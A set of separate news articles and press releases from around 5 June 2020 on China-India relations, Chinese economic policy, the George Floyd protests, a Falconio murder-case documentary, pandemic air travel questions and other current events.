During the talks, Wu and Srivastava exchanged views on bilateral relations, COVID-19 situation and anti-epidemic cooperation, celebrations marking the 70th anniversary of China-India diplomatic ties and multilateral cooperation, the Chinese foreign ministry said in a press release.

The press release said both the sides should implement the consensus reached between the leaderships of the two countries that the "two neighbours do not constitute a threat to each other and that each other is an opportunity for development and do not let differences turn into disputes," in a reference to decisions taken at the two informal summits between Prime Minister Narendra Modi and Chinese President Xi Jinping.

Both sides should enhance strategic mutual trust, deepen mutually beneficial cooperation, properly manage differences and promote the celebration of the 70th anniversary of the establishment of diplomatic ties so as to ensure that the giant ship of China-India relations is moving in the right direction, the release said.

The Indian delegation for the military talks will be led by Lt General Harinder Singh, the general officer commanding of Leh-based 14 Corps, while the Chinese side will be headed by the Commander of the Tibet Military District, official sources said in New Delhi.

The talks are slated to be held at the Border Personnel Meeting Point at Maldo in Chushul sector of Eastern Ladakh.

The Chinese press release said the two countries should also deepen anti-epidemic cooperation, oppose politicising the epidemic situation, support the World Health Organisation and promote the development of a public health system.

China is under immense international pressure on the origins of the cornonavirus with countries like the US alleging that Beijing has not been transparent and misled the world about the pandemic. Beijing has rejected the allegations.

The press release also said that both the countries will resolutely safeguard and promote multilateralism, oppose unilateralism, protectionism and hegemonism, jointly safeguard international fairness and justice, and safeguard the common interests of developing countries.
OSAKA, Japan, June 5, 2020 /PRNewswire/ -- Naotsune Alliance, a financial advisor for the world of business that provides discretionary investment advisory services for individual clients, wealthy families, institutional investors and investment trusts, with extensive fund management experience and product development capabilities, is pleased to announce that the company's Foundation has initiated an innovative charitable programme named Food and Nutrients (FaN), that will help people in underdeveloped areas in Asia to receive the minimum necessary nutrients and aliments for life sustainability. The project is centred around three countries, Burma, Cambodia and East Timor.

Naotsune Alliance Mrs. Julia van der Bijl, Chairman of Naotsune Alliance Charitable, says:" Most of our private clients and family offices have a DAF (donor advised fund) with us that they are actively using to participate in our philanthropic programs.

Naotsune Alliance Charitable is constantly focused in creating and promoting pragmatic and practical philanthropic programmes that have a simplified process of applicability, thus allowing its donors to invest less time and more funds in socially responsible endeavours. The latest proposal coming out from the Foundation's brainstorming sessions is a project that offers special consideration to geographically challenged communities that struggle to receive the necessary alimentary resources, such as food and water, due to the isolated conditions of their rural establishments.

The newly created FaN Program will be based on a collaboration with local authorities in different parts of underdeveloped areas in Burma, Cambodia and East Timor, and will also establish communication channels with various NGOs that are currently conducting charitable projects in those specific areas, for increased informational input. The aim is to map out the locations of the communities in need of food delivery assistance, the size of the resources needed for each group and the best local actors to carry out the physical labour required.

Mrs. Julia van der Bijl, Chairman of Naotsune Alliance Charitable, says: "Most of our private clients and family offices have a DAF (donor advised fund) with us that they are actively using to participate in our philanthropic programs. We've conducted a study among our donors and we have observed an increased concern regarding the lack of life sustaining resources in some areas around the world. The FaN Program is our response to donors demand and we have received excellent feedback so far."

All Naotsune Alliance's investors, institutional or private, can request entry into the programme as there is no minimum or maximum imposed donation levels, due to the fact that the project is expected to function for 5 to 10 years.

About Naotsune Alliance

Naotsune Alliance is a financial advisor for the world of business, a world in which community is key. The company's memberships, partnerships and associations are chosen with care, and its selectiveness ensures it is connected to the right people and have access to the best and most up-to-date knowledge. Our main products are Japanese equity funds, thus utilizing Naotsune Alliance's local expertise for Japanese firms with a focus on mid-small cap companies, start-ups and IPOs.

Media Contact

Wilhelm Wagner

[email protected]

+819045012521

SOURCE Naotsune Alliance
Source: Xinhua| 2020-06-05 20:51:03|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- China's central bank introduced two new monetary policy instruments this month to directly channel funds into the real economy, another sign that the country's monetary policy will not slide into quantitative easing.

The People's Bank of China (PBOC) said that, starting this week, it would use 400-billion-yuan (about 56.37 billion U.S. dollars) of a special re-lending quota to purchase 40 percent of inclusive loans to small and micro businesses, issued by local banks from March 1 to Dec. 31.

Another policy instrument that the PBOC introduced allows small and micro businesses to apply for deferring their inclusive loan repayments, maturing by end-2020 to March 31, 2021, with penalty payment exempted.

Both policy instruments are aimed at helping small and micro enterprises maintain cash flow, gain easier access to loans, and lower the financing cost, the central bank said. It added that these tools are more market-oriented, inclusive and direct, compared to previous policies.

The PBOC's move came just days after Chinese Premier Li Keqiang emphasized that China's measures of a sizable scale are designed to provide vital relief to businesses and to revitalize the market.

China's previous measures to recover the economy in the face of challenges brought on by the novel coronavirus pandemic were seen by some as below expectations.

In response to such viewpoints, Li told a press conference after the conclusion of the annual national legislative session, that the government will not flush China's economy with liquidity.

China will ensure that measures taken are well-focused and effective, and the prescription is precise, said Li.

The central bank's innovative monetary tools are an example of how China is striving to make small and micro businesses -- an important part of the real economy -- truly benefit from government policies, according to market analysis.

Direct purchase of inclusive loans will lower the debt costs of banks and help with replenishing liquidity, said Li Qilin, chief economist of Yuekai Securities, adding that small firms can then get more credit support.

According to the PBOC, the 400-billion-yuan funds will be offered to local banks via an intermediary special-purpose vehicle, which won't charge interest for banks, making it effectively interest-free.

Local banks will be encouraged to issue new inclusive small and micro credit loans of nearly 1 trillion yuan, compared to over 300 billion yuan issued last year, the central bank estimated.

By offering local banks incentives equal to 1 percent of the principal to be extended, the central bank said it expected to provide a total of 40 billion yuan, at most, to support about 3.7 trillion yuan in extended loans.

Other enterprises with special difficulties, such as foreign trade companies, could discuss possible loan extension timelines with their banks, the PBOC has said.

Pan Gongsheng, vice governor of the PBOC, said the two new instruments are short-term policies created at a special time, and are different from quantitative easing in nature and scale.

Compared with some developed economies, China still has space for normal monetary policy to support the economy, Pan said. Enditem
BioSpectrum Asia spoke to Francis Van Parys, Vice-President Commercial, Asia-Pacific, Cytiva (Formerly GE Life Sciences), Seoul, South Korea

The UK headquartered Cytiva is a $3.3 billion global life sciences leader with nearly 7000 associates operating in 40 countries dedicated to advancing and accelerating therapeutics. As a trusted partner to customers that range in scale and scope, Cytiva brings speed, efficiency and capacity to research and manufacturing workflows, enabling the development, manufacture and delivery of transformative medicines to patients. Cytiva announced the collaboration with Takara Bio to develop DNA vaccine to confront the virus in Japan, on May 21. BioSpectrum Asia spoke to Francis Van Parys, Vice-President Commercial, Asia-Pacific, Cytiva (Formerly GE Life Sciences), Seoul, South Korea, who is responsible for providing transformational technologies in biopharmaceutical research, manufacturing and diagnostics to Cytiva customers and partners in the life sciences industry in China, India, Japan, Korea, ASEAN and Australia & New Zealand, for his major plans in store and his plans to enhance growth within the APAC region for the company.

Edited excerpts-

What are the major plans in store for Cytiva? Any new segments to be explored?

Cytiva offers the same high-quality services as we did when we were part of GE Healthcare Life Sciences. It shouldnt be overlooked that we are already a life sciences global leader and we expect our significant growth of recent years to continue. We have been at the forefront of innovation and development of areas such as protein purification, single-use technology and cell and gene therapies.

Cytiva will benefit from being a newly-created organization that is already a global life sciences leader. We have market leading brands such as AKTA, Amersham, HyClone and Whatman, among others. We also have more than 100,000 systems in use globally. We will continue innovating from within and working with our customers to develop next generation solutions.

One area where we want to and must do better is sustainability. This is a challenge and opportunity for any organization operating today and one that Cytiva takes very seriously. We dont want to be just compliant in sustainability terms, we want to lead the industry. We will be focusing on areas such as GHG emission, use of plastics, packaging, water management and societal impact among other areas.

How do you plan to enhance your growth within the APAC region?

Asias Economies are seeing rapid growth in past decades meanwhile it suffers for the increases in cardiac disease, cancer and diabetes are subsequently anticipated, driven by increased life expectancy and lifestyle changes. Biotherapeutics are, and will remain, in the forefront of curing many of these diseases and improving the quality of lives across Asia.

Cytiva is well positioned to support the growth in protein-based therapeutics and future treatments, such as cell and gene therapies. Additionally, as the global healthcare system rapidly moves toward more personalized medicine, Cytiva will work with our customers to ensure we are developing the right tools and technologies to ensure efficient manufacturing of novel therapeutics.

How is Cytiva contributing to this fight against COVID-19?

The COVID-19 crisis has brought together the scientific community like never before. Our global team is helping to accelerate the work of researchers, developers, and manufacturers of diagnostics and vaccines, to bring access to much-needed solutions for COVID-19.

In Asia, we just announced the collaboration with Takara Bio to develop DNA vaccine to confront the virus in Japan, on May 21. Genedrive: PCR assay to detect SARS-CoV-2; Sona Nanotech: rapid response lateral flow test; Avacta: Affimer-based point-of-care rapid screening test and University of Queensland: vaccine

What will be the impact of this pandemic on the global economy? How is Cytiva preparing itself?

Cytivas number one priority is the health and safety of our employees and our customers. We are working closely with local governments, and world health authorities to actively monitor the outbreak and take all necessary precautions. We are prepared to walk alongside our customers to help ensure continuity of business, stay connected virtually for support, and provide solutions in this time of need.

The pandemic should not derail us from our key mission, which is to support the worlds development of new technologies and the manufacturing of existing drugs, which are so much important to the diabetes patient, or the cancer patient, or the young child that needs a vaccine. To achieve this mission, you have to shuffle, because suddenly you have to prioritize particular initiatives that you didn't have in mind at all two months ago. We have a task force with special focus on the COVID-19 coronavirus, like we did when Ebola and SARS were global pandemics. This allows us to rapidly respond to the needs of our customers.

Cytiva has comprehensive crisis management and security of supply programs in place. We are committed to fulfilling customer orders and regularly adjust our manufacturing output to respond to market demands, while ensuring our operations and service capabilities continue safely. We are also in regular contact with our suppliers regarding their business continuity plans to help minimize disruption of the flow of materials into our manufacturing facilities.

Ankit Kankar

ankit.kankar@mmactiv.com
Heritage Florida Jewish News is accepting nominations for the 2020 Heritage Human Service Award, which will be presented at the annual meeting of the Jewish Federation of Greater Orlando in August.

For more than 30 years, individuals who have made major, voluntary contributions of their talent, time, energy and effort to the Central Florida community have been honored with the selection and presentation of this award, said Jeff Gaeser, editor and publisher of the Heritage. Last years recipient was Dick Weiner. Former recipients have included Stuart Farb (2010)), Burt Chasnov (2008), and Bob Yarmuth (2004).

According to Gaeser, Each recipient chose their own path, but made considerable and long-lasting contributions to the Jewish community. Nominees for the 2020 award are individuals who do not look for recognition, but perform tikkun olamrepairing the worldout of internal motivation.

Nominations should be emailed to news@orlandoheritage.com with the subject Human Service Award, or typed on 8 1/2 x 11 paper and sent by mail to Heritage Florida Jewish News, Human Service Award, 207 OBrien Road, Suite 101, Fern Park, FL 32730. Included should be the name and phone number of the nominee, a documented list of his or her accomplishments, and the name and phone number of the nominator(s).

The Heritage is accepting nominations until Friday, June 26.
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Linkedin Paul Handley (Agence France-Presse) Washington, United States  Fri, June 5, 2020 08:10 595 fc6853813033f564188675f8bdc44ac8 2 World Donald-Trump,military,Pentagon,anti-racism-protests,racial-issues,racial-tension,racial-violence Free

Secretary of Defense Mark Esper's rebuff of President Donald Trump over deploying troops to quell protests and sharp blasts from previous Pentagon leaders including Jim Mattis have left Trump's relations with the US military dangerously frayed.

Esper's announcement Wednesday that he opposed deploying active military to quell nationwide protests over police brutality was an extraordinary pushback to the official armed forces commander in chief.

"I do not support invoking the Insurrection Act," Esper said, referring to the 1807 law Trump has wanted to use to activate armed military personnel for policing riot-hit cities.

Hours later Esper's predecessor Jim Mattis delivered a lashing attack against Trump.

"When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution," he wrote.

"Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the Constitutional rights of their fellow citizens," Mattis said, referring to the right to protest.

Mattis, who served as Trump's defense secretary for two years before resigning on bad terms, even noted that the German Nazis swore by the creed "divide and conquer."

"Donald Trump is the first president in my lifetime who does not try to unite the American people -- does not even pretend to try. Instead he tries to divide us," Mattis said.

Co-opted for political purposes?

And two former joint chiefs chairs -- whose former subordinates now populate the top echelons of the Pentagon -- also weighed in.

"America is not a battleground. Our fellow citizens are not the enemy," said retired General Martin Dempsey, the Pentagon's top general from 2011 to 2105.

"I am deeply worried that as they execute their orders, the members of our military will be co-opted for political purposes," wrote Dempsey's predecessor, retired admiral Mike Mullen.

The blatant opposition to the president by normally non-political figures has raised the specter of a breakdown of civil-military relations.

It could also mean Esper's job is on the line -- White House spokesperson Kayleigh McEnany declined to say whether he still had Trump's full confidence.

And it effectively shattered Trump's claim to a solid alliance with the men and women in uniform, which he parades in political ads as a sign of his own toughness.

The resistance has built since last week when Trump threatened to send armed regular troops, and not just national guard reservists, onto US streets to halt the protests and rioting that followed the May 25 killing in police custody of African American George Floyd.

Esper appeared in agreement when he ordered 1,600 military police to the Washington region on standby in case riots worsened, and then told governors of states to "dominate the battlespace."

Photo op

When he and Joint Chiefs Chairman General Mark Milley appeared by Trump's side Monday in a photo op at a church by the White House, minutes after security forces cleared the area of peaceful demonstrators by firing pepper balls and smoke bombs, it looked like they were on board with Trump's promise to dispatch soldiers.

But amid howls that he was making the US military trump's political tool, Esper reversed his position.

Aides said he had clumsily used the military jargon "battlespace" out of habit, and suggested that Trump had effectively tricked Esper and Milley into joining the church photo-op.

Esper said firmly Wednesday that he opposed using active duty soldiers to deal with protestors.

"The option to use active duty forces should only be used as a matter of last resort and only in the most urgent and dire of situations," he told reporters in the Pentagon.

"We are not in one of those situations now."

Making their positions clear, Esper, Milley and other top Pentagon officials made statements to the troops that they were sworn to defend the US constitution, especially the right to free speech.

Former Pentagon spokesman David Lapan said he had never seen such pushback to a president, especially by someone with the stature of Mattis.

"This president has politicized the military in ways that hasn't ever been done," Lapan, now at the Bipartisan Policy Institute, told AFP.

Esper and Milley "waited too late and allowed the situation to fester," he said.

"In that week's time, they lost some confidence both from the force and the American public."

He said Mattis, Dempsey and Mullen were not trying to foment rebellion among the troops, but that they saw the military's reputation with the American public at risk.

"It's been building," he said.
A week after the official Facebook page of Ministry of Home Affairs (MHA) put up pictures of alcoholic beverage along with photos of NDRF rescue efforts in Bengal during cyclone Amphan, the entire media unit was shunted out on Friday.

The MHA media wing saw a complete revamp after almost all officers handling the unit were moved out. DG Vasudha Gupta, MHA spokesperson, will now look after PIB (Press Information Bureau) Fact Check unit, while Director General of BOC (Bureau of Communication) in DAVP (Directorate of Advertising & Visual Publicity), Nitin Wakankar, will be the new spokesperson. Wakankar has earlier served as spokesperson of CBI and of Ministry of Defence.

Deputy Director in MHA, Virat Majboor, has been moved to All India Radio and Shelat Harit Ketan has been shifted to DPD.

Praveen Kavi, Deputy Director at PIB, has also made a comeback to the MHA. Kavi had earlier worked with the MHA media wing under the leadership of A Bharat Bhushan Babu, who crossed over to handle media in South block's ministry of defence after handing over charge to Vasudha Gupta when Union Home Minister Amit Shah took over.

The new media team at North block also includes ADG Rajkumarm who had been working with PBSC, Kathmandu. Amandeep Yadav, assistant director at AIR, will also be part of the Home Ministry media unit.

The overhaul of the media unit at MHA comes amid indications that Shah was unhappy with repeated lapses.

On May 7, the Facebook page of MHA left the ministry red faced when personal pictures of alcohol bottles were posted along with NDRF rescue efforts in Bengal. MHA officials said it was an inadvertent mistake and the social media page handler had apologised.

Then came the handling of the publicity material of Home Ministry's achievements. On completion of one year of the Narendra Modi government, media reports highlighted that Citizenship Amendment Act (CAA) was not listed an achievement by the government. The promotional literature of the ministry issued later did include CAA but the Home Minister and the Prime Minister's office reportedly did not take the negative reportage on the CAA issue kindly.

There were also murmurs of discontent in the journalist fraternity over MHA labeling news reports fake and calling out journalists on Twitter for alleged misreporting rather than following the usual process of issuing rejoinder.
The Minister of Tourism, Arts and Culture has invited African Americans to re-settle in Ghana if they feel unwanted in the USA.

She said at a collaboration with the Ghana Tourism Authority, Office of Diaspora Affairs and the Diaspora African Forum to organised a memorial and wreath-laying ceremony at the W. E. B. Du Bois Memorial Centre for Pan-African Culture in honour of George Floyd.

The late George Floyd was an African American who was gruesomely killed by a white American police officer in the USA on 25th May, 2020.

Speaking at the ceremony on Friday, 5th June, 2020, Minister of Tourism, Arts and Culture, Barbara Oteng-Gyasi expressed the hope that the death of Mr Floyd will put an end to racism, not only in the US but across the globe.

Racism in America continues to be a deadly pandemic, for which for more than 400 years now, our brothers and sisters in the United States of America have yearned for a cure. George Floyd was not the first black person to use the phrase I cant breathe... The present situation we face today in the year 2020 with the death of George Floyd is going to result in change One who condones evil is just as evil as the one who perpetrates it. That is why it is right not only for Chauvin to be charged but all his accomplices who, together, [killed George Floyd], Ms Oteng-Gyasi said.

She continued: We gather in solidarity with brothers and sisters to change the status quo. Racism must end. We pray and hope that George Floyd's death will not be in vain but will bring an end to prejudice and racial discrimination across the world.

Ghana, last year, opened up the country to receive Africans in the diaspora through a government initiative called the Year of Return. Thousands of African Americans and blacks from other countries visited the country.

This year, the government has launched the Beyond the Return initiative to help Africans in the diaspora to settle in Ghana and invest in the economy.

To this end, Ms Oteng-Gyasi noted that Ghana is ready to welcome every African in the diaspora who is ready to return to the continent away from the racial abuse they have suffered for about 400 years.

We continue to open our arms and invite all our brothers and sisters home. Ghana is your home. Africa is your home. We have our arms wide open ready to welcome you home. Please take advantage, come home build a life in Ghana, you do not have to stay where you are not wanted forever, you have a choice and Africa is waiting for you, said Ms Oteng-Gyasi.

The death of George Floyd, who told the white cop he could not breathe while he knelt on his neck, has sparked protests across the US for the past 10 days.

The white officer Derrick Chauvin has since been arrested and charged with 3rd-degree murder and manslaughter.

The other three officers who did not intervene and also held Floyd down when their colleague had his knee on his neck, J Alexander Kueng, Thomas K. Lane and Tou Thao have also been arrested and charged with aiding and abetting murder.
A cook shows rural women how to make pastry at a training center in Zhangjiakou, Hebei Province, on May 27. The training program targeted mainly impoverished rural women to improve their domestic skills such as cooking and baby-sitting for better job prospects. [For China Daily/Chen Xiaodong]

Migrant Workers Benefit from Skills Instruction in Battle Against Poverty

The central government is stepping up efforts to enhance skills training for rural migrant workers to help stabilize the job market and win the battle against poverty.

The Ministry of Human Resources and Social Security recently launched a campaign to train 7 million rural migrant workers this year and the same number next year.

Last year, it trained 7.5 million migrant workers and 2.59 million people living in poverty. It also organized online skills-training courses during the COVID-19 pandemic, which 7.9 million people attended.

The new campaign is tailored for both employed and laid-off migrant workers, as well as those from the countryside who are trapped in poor financial conditions, the ministry said.

A senior official from the ministry's occupational capacity construction department said that economic fluctuations easily influence the employment of migrant workers, whose relatively weaker access to social security and unstable employment conditions require more support from the government.

The COVID-19 outbreak also dealt a heavy blow to the employment prospects of migrant workers due to strict control of population flows and companies' decreasing orders.

The ministry said companies will play key roles in organizing training programs for migrant workers. The government will give subsidies to those small and medium-sized enterprises who recruit registered laid-off migrant workers or migrant workers who have difficulties finding jobs.

Companies are encouraged to train migrant workers on the job, the ministry said. Subsidies will be given to those small and medium-sized enterprises that suspended production because of the COVID-19 outbreak and organized their employees to join training courses rather than dismissing them.

Wang Xing, a professor from Nankai University who focuses on social work and social policy, said government involvement in training programs for migrant workers is meant to help companies reduce training costs and channel more quality labor to the job market.

"Companies usually care about two elements the most in workers' training, one is training costs and the other is job-hopping of their well-trained workers," he said.

"As far as I know, companies, especially those with vision, are willing to train their workers to improve their skills and give them higher salaries to sustain the company's competitiveness.

"Training workers on the job is normally seen in the service sector because losses can be controlled if trainees make mistakes at work, while employers in the manufacturing industry prefer to give training courses to newly recruited people  including migrant workers who have little knowledge of operating machinesto reduce possible losses and damage to the machines."

Wang said short-term skills-training programs can help migrant workers to find jobs in some sectors, for example domestic services, where skill requirements are lower.

"For those positions that need higher skills in technology or capital-intensive industries, longer-term training programs are necessary to help people gain enough knowledge and skills for jobs," he said.

(Source: China Daily)
A new investigation has found that the murder evidence used to convict Australian killer Bradley Murdoch was 'riddled with doubt'.

Murdoch, 61, was convicted of the execution-style murder of British tourist Peter Falconio, 28, on a Northern Territory roadside in July 2001.

Mr Falconio disappeared and was never seen again after travelling on the Stuart Highway near Barrow Creek in the outback with his girlfriend, Joanne Lees.

Australia's infamous 'backpacker killer' Bradley John Murdoch, 61, is surrounded by police as he arrives at Darwin airport following his arrest in 2003. A new investigation has found that the murder evidence used to convict Australian killer Bradley Murdoch was 'riddled with doubt'

Peter Falconio was travelling around the Australian outback with his girlfriend Joanne Lees when he was murdered

He was also found guilty of assaulting Joanne, 27.

Murdoch pleaded not guilty to the murder and has maintained his innocence ever since.

A new investigation discussed in Murder in the Outback: The Falconio and Lees Mystery documentary on Channel 4 claims Murdoch would not have been convicted if he had been on trial today.

His legal team cite never-before-seen police documents and video, as well as witness accounts.

In the four-part series, a forensic scientist says he believes the blood found at the scene of the crime was not consistent with the amount he would expect from such an incident.

'Based on the DNA and blood evidence, I would not expect a guilty verdict today. I do not believe he should have been convicted,' Professor Barry Boettcher said, adding that he found the DNA collection 'worrying'.

The couple was on a remote Northern Territory highway in their Kombi van when Murdoch flagged them down

A second forensic scientist, Brian McDonald, said that from studying the DNA evidence it became apparent there was 'very little clear evidence at all.'

Professor John Fraser, once a top criminal defence lawyer, heading the probe, said: 'The more we have delved into this case, the more obvious it has become that it is riddled with doubt.'

Murdoch was found guilty in 2005 of the murder of British backpacker Peter and the assault of his girlfriend.

A body was never found but he was found guilty largely due to a DNA match on Joanne's T-shirt.

Last year Murdoch was diagnosed with cancer, triggering a last-ditch attempt from police to elicit a confession in exchange for moving him to a prison closer to his family.

Murdoch (pictured) was found guilty in 2005 of the murder of British backpacker Peter and the assault of his girlfriend

The murderer is being held in the Darwin Correctional Centre where he spends his days in the kitchen as a pastry chef and has become known for his desserts.

He was diagnosed with cancer in 2019, according to the NT News.

Police hope the 'backpacker killer' will reveal where he buried the body in exchange for being transferred from his Northern Territory jail to a Western Australian prison to be closer to his family as he battles cancer.

The NT government passed a 'no body no parole law' in 2016.

Murdoch can apply for parole from 2033 but unless he reveals the location of Mr Falconio's body, the application will be denied.

Former NT Police assistant commissioner John Daulby previously told The Project: 'The case isn't closed until they find Peter.'
Every month, my email box fills with several queries and comments about travel. And with the travel world changing faster than I'm able to chronicle these days, my mailbox is overflowing.

In this post, I'll share those emails that might help out others with similar concerns or reactions. Take a read and let me know if you have a question of your own, or if you'd like to see this Q&A continue as a regular feature. Here's a link to my email.

I can't wear a face mask, but I need to fly.

Hi there Chris: Hope you are doing well. I can't wear a face mask due to breathing problems and claustrophobia. I need to travel to Atlanta and want to go on Delta. Will they let me on the plane? I can't get their customer service on the phone; they hang up before answering, saying they are too busy. Thanks. - Charlotte

My first response to Charlotte was this: My guess is probably not. In addition to the airline requirement, you will also be required to wear a mask to enter the airport. I tweeted your question to @Delta. Let's see if we get a response.

Delta's Twitter handle did not respond, so I reached out to Delta's PR department for some guidance. Based on that, here's what I told Charlotte: If I were you, I would carry a doctor's note regarding your condition, although it does not sound like it is required. But you never know. Delta PR said: People with medical conditions will be exempt from wearing a mask. ... If you have a doctor's note thats always helpful, but if the passenger communicates the issue, it shouldnt be a problem."

Charlotte later told me that she's able to wear a plastic face shield instead of a cloth mask. She contacted LAX airport, which told her that she would be allowed into the airport with a shield only.

When can I fly to ...

I have been getting tons of questions like this one, with hopeful travelers trying to determine whether their big trip is going to happen this year. My answer is pretty much the same each time.

Hi Chris: I am hearing conflicting reports on resumption of air travel with Ecuador and particularly when flights with Galapagos may resume. Can you provide any status or info on projected resumption. Thanks. - Mike.

Hi Mike: It's hard to tell right now, but I really don't think there will be much international travel by Americans until next year. Sorry I can't offer more precise information on exact timing since rules and regulations change almost daily.

International travel is going to be a long shot as long as the United States is a pandemic hot spot, and as long as the U.S. government maintains its unprecedented DO NOT TRAVEL warning for Americans. In addition, many countries around the world are not allowing visitors at all, and those that do require two-week quarantines for all arrivals.

I need to make an essential trip

Dear Chris: I keep reading your weekly airline routes updates [posted on SFGATE every Saturday morning] with interest as I'm one of those jittery travelers who need to visit my very old and recently gravely ill parents in Hungary. I made a reservation back in April for a flight from San Francisco to Budapest on Lufthansa, but it keeps changing and the latest news was that Lufthansa doesn't have permission to fly from SFO before June 24. Where do you get your updates on these European flights? Is there a site you could recommend to check? Everything seems to be slipping, and if it wasn't the last time for me to see my dear parents I would not risk my own health for such a trip. Thank you for your articles on the world of travel in these strange times! Best, Katalin.

Hi Katalin: Sorry to hear about your parents. The latest news we have is that Lufthansas new plans include three weekly San Francisco-Munich roundtrips beginning June 23 with an A350-900 (this week, Lufthansa resumed LAX-Munich flights three days a week with an A350 and restarted SFO-Frankfurt service). We use a variety of sources for our routes updates, primarily relying on airline and airport contacts, as well as the very helpful Routesonline.com. Sorry I can't be of more help, but things are changing almost every day. I suggest checking in with your airline regularly, and making certain it has your correct contact information in the event of a schedule change.

I want my airline refund

Hello Chris: I have read several of your recent posts about airlines and refunds during the pandemic. Thank you for your reporting. You should know that customers are still not being treated fairly and justly by United Airlines. Here's a copy of my email to United, copying CEO Oscar Munoz: This is the third time that I am requesting a FULL refund, not partial refund, for a flight that was impossible to take due to the worldwide coronavirus pandemic. Please refund the full $730.11 to me and stop keeping $300.00 of it as a cancellation fee. (That is nearly a 42% cancellation fee.) I only received $430.11 of my money back. [I have redacted the rest of the email.] - Jenn.

Hi Jenn: Good work here asserting your rights. If United canceled your flight, it owes you a full refund. Period. If, despite your communications as provided here, you have not received a full refund, I suggest you simply dispute the charge with your credit card company for services not rendered. I hope you get your money back!

British Airways

What's that plane I see flying overhead?

Hi Chris! Hope youre doing well. I saw an article on SFGATE the other day that said nonstop flights from SFO to Europe might resume in June for the first time since April. Have all flights to Europe really been canceled? My husband and I often take our kids to the Bay Trail in Millbrae where you can see the planes landing. Weve seen British Airways jets landing or taking off many times over the past few weeks. It looks like a 787 from what we can tell. Are these cargo flights? Or special charters? When I look on ba.com, it shows all flights between SFO and London Heathrow are canceled. - Mike.

Hi Mike: Up until recently, the BA flights at SFO have been cargo only. No passengers. It's a similar story with several other airlines such as United, which is running some freight-only flights to Asia. However, many of these flights, including British Airways flights to London, have recently started flying a small number of passengers again.

I am shocked

Chris, I am shocked that you wrote an article like "What will travel look like over the next year" during a pandemic when so many people are suffering especially in our industry and even more shocked that the American Society of Travel Agents would send it out to members! You have no idea what the future holds for travel, the virus or the vaccine and yet you make up this trash to further upset people who are suffering greatly. What the hell is wrong with you? Have you no compassion for others? Why do you add insult to injury? Shut your mouth and get a grip on yourself. You know nothing for sure. This crap is only in your mind and does not need to be shared. We are seeing new bookings on flights to Mexico and the Caribbean, Alaska and Canada. Your information is wrong and fake news. So please keep your crap to yourself. The world does not need mean spirited and negative people like yourself. Get yourself some help. - Debbie

No reply necessary.

Can I fly to Edinburgh?

Chris - As an annual traveler to Edinburgh for festival month, August, I was saddened with the cancellation of all the festivals this year. I feel they definitely did the right thing, however, Im still hopeful to be able to fly through Heathrow to the Scottish Highlands and Islands. Do you have a feel, and I wont hold you to it, if the travel restrictions could be lifted by mid-August? If I go Id be happy to send you my travel experiences for however you wish to use them. Thanks ... you do a super job covering the world for we travelers. -- Mac

Hi Mac: I wish I had a good crystal ball, but it's so murky and fast changing that it's tough to prognosticate. But right now, I don't really think there is going to be much international travel for the rest of this year, unfortunately. It's just too risky for travelers and for countries trying to control the virus. By the way, I loved the Edinburgh Fringe Festival way back on my first backpacking trip through Europe in 1983! What a fun time!

Can I get a refund from an international carrier?

Good Morning, Mr. McGinnis! I was wondering if you could assist me with the policies for airlines outside of the U.S., regarding airline ticket refunds, during this Covid-19 pandemic? As you can see in the e-mail below, Maya Island Air in Belize is only offering a one year credit for the airline ticket I purchased for travel this month. Is there any way I can have them refund my money instead? Any assistance you can offer would be greatly appreciated. - Wendy

Hi Wendy: Since Maya Air canceled your flight, I would politely ask for a refund instead of a credit and if that fails, dispute this charge with your credit card company. US DOT rules requiring refunds for cancelations do not apply to flights operating outside the United States, and I'm not sure what Belize has on the books for this type of situation. However, credit card companies should be able to assist. Good luck!

Tim Jue

I don't want to pay the credit card fee for travel amenities I can't use

One issue travelers should be aware of is a recent bad experience with Chase over their annual fee on the United Explorer card. I have recently contacted Chase because I was just charged $95 annual fee. I called the 800 number on the card and politely asked for a refund on the fee because I would be unable to take advantage of any travel benefits of the card [such as free checked bags, early boarding, lounge passes]. She abruptly stated that my only option was to close the account. I was flabbergasted ... I have heard over the years about people calling to ask for a waiver of the annual fee, being granted no questions asked. I always paid the fee. Now in these hard times I am amazed that a company as pervasive as Chase would be that inflexible over a $95 fee. Especially for someone who paid bills on time. I called a second time and was told the same thing. As a good customer, I will remember this long after the end of our hard times. Best to you ... hope you are safe and well. --Maureen.

Hi Maureen: Thanks for the heads up. That's a good point. I agree that credit card companies should work with good customers to waive or at least discount fees for services they can't use due to travel restrictions.

Only water or coffee?

Chris: Recently while flying on Alaska Airlines from San Francisco to Los Angeles with my daughter we were offered water or coffee only. A flight is a time when I let my kids indulge in a Coke or Sprite (and I might get a beer) but the flight attendant said they don't offer drink service since it's such a short flight. This was the first time I've ever heard of this (outside of blaming turbulence). I was told "only water or orange juice" on another flight this past weekend on Delta. It seems like either it's yet another airline cost cutter or the flight attendants are making their lives easier. ... Do you happen to know what's going on with drink service on these "short" routes? - Rich

Hi Rich: I reached out to Alaska Airlines for some answers. Here's what a spokesperson said: "In September, Alaska implemented what we call 'pub service' for flights between 220-350 miles in which we offer water, juice or coffee as beverage options. We made this change to ensure that our flight attendants can effectively service all our guests in a limited period of time safely."

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CLEVELAND, Ohio - Police in Paris have banned a previously planned protest over concerns of the spread of the coronavirus, citing health measures restricting the size of gatherings. In addition, local officials are gearing up for protests as President Trump plans to head to Maine today to visit a company that produces swabs for virus test kits.

Read more about these stories and check out other trending headlines below.

Protest updates

Trump to visit Maine swab maker despite concerns over unrest (USA Today)

Paris protest banned over virus concerns (AP)

Trump shares letter that calls peaceful protesters terrorists (CNN)

White House adds fencing around perimeter (NBC News)

Video shows Buffalo police pushing man to ground during protest (ABC)

FILE - In this Monday, June 1, 2020, file photo, President Donald Trump returns to the White House in Washington. Trump is traveling to Maine on Friday, June 5, 2020, to visit a company that makes specialized swabs for coronavirus testing. (AP Photo/Patrick Semansky, File)AP

Coronavirus news around the globe

Protesters say they face tough choice amid pandemic (NBC News)

Cuomo: Protesters should assume theyve been exposed to virus (CBS News)

At least one coronavirus vaccine could be ready by September (CNBC)

U.S. seeks 100,000 contact tracers (The Hill)

Farmers find ways to save millions of pigs from slaughter (NPR)

Record number of cases follow Floridas reopening (Politico)

Top local headlines

DeWine announces when zoos, museums and some tourist attractions can reopen (cleveland.com)

Bill allowing fireworks to be set off in Ohio advances (cleveland.com)

JC Penney store in Parma to close (cleveland.com)

Other trending headlines

